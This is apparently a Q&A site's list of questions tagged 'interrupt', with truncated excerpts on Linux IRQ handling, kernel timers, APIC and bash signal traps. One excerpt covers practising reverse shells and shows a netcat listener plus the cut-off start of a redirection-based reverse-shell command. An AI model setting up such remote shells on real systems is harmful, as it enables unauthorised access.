Questions tagged [interrupt]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
0
votes
1answer
13 views

__report_bad_irq not getting hit

I am stucked in one issue, in which i am getting __report_bad_irq callstack inconsistently. AFAIK, whenever we have 100000 unhandled interrupts this stack kicks in. Output from cat /proc/irq/128/...
0
votes
1answer
21 views

Handling an interrupt while being on kernel [closed]

I know how interrupt handling works (switching mode, saving registers, changing stack ...). However, I am curious, what if an interrupt happens while we are still in kernel mode, and not in user mode?
0
votes
1answer
16 views

redhat 7.7 nohz_full dynamic tickless behaviour

I'm trying to set dynamic tickless behaviour on certain cores (cores 2 - 11), moving all timekeeping to the only unspecified cores (cores 0-1). However, when I perform the instructions specified in: ...
3
votes
2answers
107 views

How interrupt is queued up in linux?

In hardware and software interrupt flow how queue up is handled? more precisely I have following doubts Lets take a scenario I have a machine with 2 CPUs. CPU1 is processing process P1 and CPU2 is ...
2
votes
1answer
39 views

Is it safe to use the .bss section as a static stack?

(This is in the context of x86-64 Linux.) I am trying to write a high-reliability userland executable, and I have total control over the generated assembly. I don't want to rely on automatic stack ...
1
vote
0answers
130 views

Custom interrupt handler for the NMI hardware button

I'm trying to create a custom interrupt handler for the NMI hardware button which exists on my motherboard. To test this functionality I've created this simple module: #include <linux/init.h> #...
0
votes
1answer
25 views

Would an asynchronous interrupt context write to the page table in the Linux kernel?

Specifically, in the Linux kernel, is it possible that the page table (level3_kernel_pgt) can be overwritten when an asynchronous interrupt context happens (Local timer interrupts). I've been seeing ...
0
votes
0answers
24 views

Interrupt pin routing changing

When I doing lspci, sometimes I found the interrupt routing is changed. It may change from Interrupt: pin B routed to IRQ 12 to Interrupt: pin B routed to IRQ 13 What caused this change?
0
votes
0answers
22 views

How arbitration priority register works in Advanced Programmable Interrupt Controller (APIC)?

Could you please explain how arbitration priority register works in Advanced Programmable Interrupt Controller (APIC) and what is the term winning CPU?
0
votes
1answer
66 views

System interrupts. When is it too much?

We're testing Linux Server as a VPN router. We have a quite good server and the interrupts we're experiencing right now are ~170k, but we're expecting more. CPU usage is OK. How to know when it's too ...
1
vote
0answers
46 views

What are masked during execution of interrupt in linux kernel [closed]

When an interrupt handler is executing in Linux Kernel for a particular interrupt, whether all the interrupts are masked/disabled or that particular line which is served by CPU is masked/disabled. ...
0
votes
1answer
35 views

Why we have so many 0's in intr field of /proc/stat

I am looking into intr field of /proc/stat. # cat stat cpu 10438 2056 25767 10098612 2490 0 1846 0 0 0 cpu0 1768 260 4750 1681597 119 0 608 0 0 0 cpu1 1735 67 5119 1683444 342 0 280 0 0 0 cpu2 1908 ...
0
votes
0answers
17 views

Can a process directly wake up and deliver message to other process?

Can a process directly bring back other process's context to CPU and deliver message to that process, with things like interrupt? If the process, that I want to wake up and deliver message to, is ...
1
vote
0answers
69 views

Notify user-space about interrupt, sleep otherwise

As a beginner, I want to know what people think would be the best course of action for the following scenario. I have a driver that handles a rising-edge interrupt on a gpio pin. The driver also has a ...
1
vote
2answers
430 views

Linux timer interrupt

I have two questions about the Linux kernel. Specifically, does anybody know exactly, what Linux does in the timer interrupt? Is there some documentation about this? And what is affected when ...
3
votes
2answers
432 views

What is the hardware which the linux kernel uses for timer interrupt

I am reading about jiffies which will be updated for every timer interrupt. The frequency of the timer interrupt is determined by compile time constant HZ. We have lot of hardware devices present on ...
6
votes
1answer
645 views

Interrupt child processes from bash script on Ctrl+C

I'm starting two child processes from bash script and waiting both for completion using wait command: ./proc1 & pid1=$! echo "started proc1: ${pid1}" ./proc2 & pid2=$! echo "started proc2: ${...
0
votes
2answers
463 views

How does a keyboard press get processed in the Linux Kernel?

I'm currently learning about the Linux Kernel and OSes in general, and while I have found many great resources concerning IRQs, Drivers, Scheduling and other important OS concepts, as well as keyboard-...
2
votes
0answers
494 views

Manjaro/Arch: Disabling IRQ #31 on Thinkpad X1 7th

I've stumbled upon the beforementioned error during boot and have tried to resolve it by trying to find out what caused the interrupt. Sadly, lspci -v | grep 31 gives no result and a cat /proc/...
3
votes
1answer
187 views

What are the non-numeric IRQs in /proc/interrupts?

cat /proc/interrupts shows a bunch of IRQs such as NMI and LOC. The per-line comments in the output give clear explanation, but if they do not have a numeric IRQ number, how does the x86 CPU respond ...
2
votes
3answers
161 views

Dump contents of variable to file while script is running in bash

I have a lot of files in a directory: $ ls file000001 file000002 # ... truncated ... file999999 I am calculating the md5sum of the files like this and finally dumping it to a file: hashes='' for ...
2
votes
1answer
297 views

How to deduce the nature of an interrupt from its number?

I'm trying to boot/install Linux for learning purposes, using an older PC (HP Pavilion Elite m9660de). The following message is the first thing that shows up when booting (Ubuntu and Fedora, both from ...
0
votes
1answer
172 views

How fast is an IO interrupt in Linux versus bare metal? (ARM, Raspberry Pi)

I read that an interrupt in Linux (this was about a Raspberry Pi) can take a "long time" to process or let's say "start doing what the programmer wants". Is that true and how bad is it? Is there a big ...
2
votes
0answers
33 views

What mechanism is used by Linux (or hardware) to ensure that any interrupt capable device does not cause too many interrupts?

At the level of interrupts, one would think that there has to some way for a maximum rate to be defined. Otherwise, a malicious device might be able to slow down the system, by continuously giving off ...
0
votes
1answer
82 views

Redirecting all primary file descriptors using `exec` causes the shell to exit after program exists depending on which end closes the connection?

I've been practicing my Bash skills by creating reverse shells using various redirection operators. After having set up a nc listener: nc -lvp 4444 I run the following command: 0<&116-; ...
-1
votes
1answer
553 views

fatal error : linux/interrupt.h : no such file or directory

I am developing code for interrupt. When I am including #include <linux/interrupt.h>, I get fatal error : linux/interrupt.h no such file or directory Why am I getting this error and how can I ...
1
vote
1answer
51 views

Writing and Executing Program to behave like console

I have written a set of programs with the intent of using a radio transmitter-receiver (NRF24L01) to connect two devices as if they were connected via a serial interface. Currently, i am able to ...
3
votes
1answer
758 views

What's the policy determining which CPU handles which interrupt in the Linux Kernel?

I've been reading Linux Kernel Development and there's something that's not entirely clear to me -- when an interrupt is triggered by the hardware, what's the criterion to decide on which CPU to run ...
1
vote
0answers
38 views

Trouble with Legacy interrupts on new CPU

A legacy (IntA) interrupt works on an old CPU under Linux, but fails under the same Linux OS with a newer CPU in that system. I'm unsure if the problem is in the BIOS or in the Linux driver, as both ...
2
votes
2answers
8k views

What is interrupted system call?

I am reading APUE and the Interrupted System Calls chapter confuses me. I would like to write down my understanding based on the book, please correct me. A characteristic of earlier UNIX systems ...
1
vote
0answers
189 views

Trying to use local APIC timer

I'm trying to use the local APIC timer to send interrupts after a certain interval (for a kernel module I am writing). This is not related to scheduling in Linux. I set the clocksource in Linux to ...
1
vote
1answer
755 views

How does Linux Kernel switches from kernel stack to interrupt stack?

What happens when a user mode task is interrupted ? I know for a fact that the CPU switches to the kernel mode stack by refring the TSS. But when and how does the kernel switches to the IRQ stack?
0
votes
1answer
404 views

About IRQF_DISABLED flags

I'm reading about a tutorial on request_irq, I'm new to this topic so I need some idea checking: When set, this flag instructs the kernel to disable all interrupts when executing this interrupt ...
1
vote
1answer
103 views

Resource locking in interrupts

I have a kernel module with netfilter hooks at different points in the packet route, and the hooks use shared resources. In addition, the module has a char device that may be written to, that also ...
0
votes
2answers
53 views

Are interrupts used to signify that output is ready or input has completed?

Operating System Concepts says: During I/O, the various device controllers raise interrupts when they are ready for service. These interrupts signify that output has completed, or ...
0
votes
0answers
289 views

Interrupt signal names don't work over ssh: bad trap [duplicate]

If run over ssh, a script with a trap statement with interrupt signal names (SIGINT, etc) gives an error and the trap does not work when an interrupt (eg. Ctrl+C) is sent. Eg: #!/bin/bash trap '...
4
votes
1answer
263 views

How to ignore interrupts with piped commands

In the following chain of piped commands, when an interrupt is sent with Ctrl-C, ping is able to print its summary statistics before exiting, as long as tee has the -i (ignore interrupts) flag: ping -...
1
vote
0answers
376 views

how to use ftrace to function_trace a kernel modules interrupt?

I have a Banana Pi Arm device with 2 cores (1.2 GHz) running a Debian kernel which I enabled ftrace kernel debug options. I want to determine the amount of time spent in a kernel module function. The ...
1
vote
1answer
508 views

How does the kernel scheduler know a timeslice has passed?

In my previous question How does the kernel scheduler know how to pre-empt a process? I was given an answer to how pre-emption occurs. Now I am wondering, how does the kernel scheduler know that a ...
2
votes
2answers
796 views

How does the kernel scheduler know how to pre-empt a process?

As far as I understand, the kernel is not a process, but rather a set of handlers that can be invoked from the runtime of another progress (or by the kernel itself via a timer or something similar?) ...
0
votes
0answers
131 views

Why does nohup command interrupt?

I put a command in .bash_profile file. The command is: nohup stdbuf -oL -eL sysdig -c spy_users 1>>/path/to/out 2>>/path/to/err & While I am working on terminal it appears: [1]+ ...
3
votes
0answers
152 views

Is there a way to route interrupts from two Ethernet interfaces to separate cores?

I have a 10G ethernet adapter from Intel with two ethernet ports (x550-T2) installed in PCIe port of a Xilinx FPGA board running petalinux. I am testing network bandwidth by running simultaneous ...
1
vote
1answer
2k views

can't change value in smp_affinity

I am trying to set irq affinity on linux by changing the value in smp_affinity. When I echo the new value into the file, I don't get any error but when I read it back, the value remains unchanged. I ...
4
votes
1answer
467 views

Saving data from kernel module into userspace

I have been playing around kernel programming for a while and want to create this simple data acquiring interface with some custom hardware. For portability and reusability, I do the whole thing on my ...
0
votes
1answer
122 views

Can a hardware generating too many interruptions monopolize a CPU?

Let's say my network interface is receiving too many packets and I have a single-core processor. What stops it (if anything) to keep interrupting the kernel and essentially monopolize the CPU (top-...
1
vote
1answer
322 views

difference between kworker/n and events/n

I'm learning how the kernel handles interrupt. Reading shichao's notes, I've found that events/n threads handle the work queue. At the same time, some documents in the internet (for example, this post)...
2
votes
0answers
517 views

Shielding CPU from scheduler - How to move bound kernel threads from cores?

Suppose I have 4 physical cores (indexed 0-3) and I'm dedicating cores 1-3 to a shield for user applications and trying to steer all system threads onto core 0. I'm following the answers here and ...
1
vote
1answer
1k views

Regarding /proc/interrupts what are MIS and ERR?

Playing aroud looking at /proc/interrupts The output below shows ERR and MIS on lines 26 and 27 respectively. What are these and why do they have counts (albeit of zero) for CPU0 but no others, as ...
2
votes
1answer
164 views

How to restrict interrupt signal to just the child process?

I have a bunch of log files and I want to do a tail -f on them in a loop such that when I press Ctrl-C, the current tail -f gets killed and I proceed to the next log file: for log in *.log; do ...
5
votes
1answer
509 views

Interrupt shell command line expansion

Warning: DO NOT attempt the commands listed in this question without knowing their implications. Sorry if this is a duplicate. I am surprised to learn that a command as simple as echo $(yes) ...